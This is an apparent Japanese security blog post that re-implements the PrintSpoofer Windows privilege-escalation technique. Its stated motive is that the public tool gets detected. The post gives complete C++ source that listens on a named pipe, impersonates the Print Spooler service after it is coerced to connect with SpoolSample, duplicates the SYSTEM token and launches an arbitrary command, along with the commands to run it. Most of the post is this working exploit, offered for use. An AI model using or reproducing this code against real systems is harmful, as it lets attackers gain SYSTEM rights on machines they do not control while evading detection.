#155 Token Stealer
Windowsの権限昇格のテクニックとして有名なものにPrintSpooferがあります。
ただ、当然ながらこれはすぐ検知されてしまいます。仕組みはそんなに難しいものではないので、自作します。
My PrintSpoofer
PrintSpooferの権限昇格は以下のような流れになります。
Named Pipeを作って接続を待ち受ける
Priter Serviceを作成したNamed Pipeに接続させる
接続してきたPrinter Serviceのトークンをコピーして偽装トークンを作る
偽装トークンで新しくプロセスを作る
このうち、2は、実装が大変なのでSpoolSampleを使います。
#include <iostream>
#include <Windows.h>
#include <sddl.h>
int wmain(int argc, wchar_t* argv[])
{
LPCWSTR lpPipeName = NULL;
LPWSTR lpCmdline = NULL;
HANDLE hPipe = NULL;
BOOL bStatus = NULL;
HANDLE hToken = NULL;
DWORD dwLength = NULL;
PTOKEN_USER pTokenUser = {};
LPSTR lpSid = NULL;
HANDLE hSystemToken = NULL;
PROCESS_INFORMATION pi = {};
STARTUPINFO si = {};
if (argc < 3) {
printf("[!] usage: %ls <pipename> <command>\n", argv[0]);
return -1;
}
lpPipeName = argv[1];
lpCmdline = argv[2];
hPipe = CreateNamedPipeW(lpPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, 100, 0x1024, 0x1024, 0, NULL);
if (hPipe == NULL) {
printf("[-] CreateNamedPipe failed with error : %d\n", GetLastError());
return -1;
}
printf("[+] named pipe created : %ls\n", lpPipeName);
printf("[i] waiting for connection...\n");
bStatus = ConnectNamedPipe(hPipe, NULL);
if (!bStatus) {
printf("[-] ConnectNamedPipe failed with error : %d\n", GetLastError());
return -1;
}
bStatus = ImpersonateNamedPipeClient(hPipe);
if (!bStatus) {
printf("[-] ImpersonateNamedPipeClient failed with error : %d\n", GetLastError());
return -1;
}
printf("[+] connected\n");
OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken);
if (hToken == NULL) {
printf("[-] OpenThreadToken failed with error : %d\n", GetLastError());
return -1;
}
// get size
GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
pTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwLength);
// get token user
GetTokenInformation(hToken, TokenUser, pTokenUser, dwLength, &dwLength);
bStatus = ConvertSidToStringSidA(pTokenUser->User.Sid, &lpSid);
if (!bStatus) {
printf("[-] ConvertSidToStringSid failed with error : %d\n", GetLastError());
return -1;
}
printf("[+] sid : %s\n", lpSid);
bStatus = DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hSystemToken);
if (!bStatus) {
printf("[-] DuplicateTokenEx failed with error : %d\n", GetLastError());
return -1;
}
printf("[i] executing command : %ls\n", lpCmdline);
bStatus = CreateProcessWithTokenW(hSystemToken, 0, NULL, lpCmdline, 0, NULL, NULL, &si, &pi);
if (!bStatus) {
printf("[-] CreateProcessWithTokenW failed with error : %d\n", GetLastError());
return -1;
}
printf("[+] process created : %d\n", pi.dwProcessId);
return 0;
}
使い方
接続の待ち受け
.\MyPrintSpoofer.exe \\.\pipe\test\pipe\spoolss whoami
SpoolSampleでPrinter Serviceに接続させる
.\SpoolSample.exe host host
別のプロセスで実行されるので、画面には何も表示されませんが、ちゃんと動いてます。Pipeでつなげば入力・出力もうまくいくようになりますかね。
EOF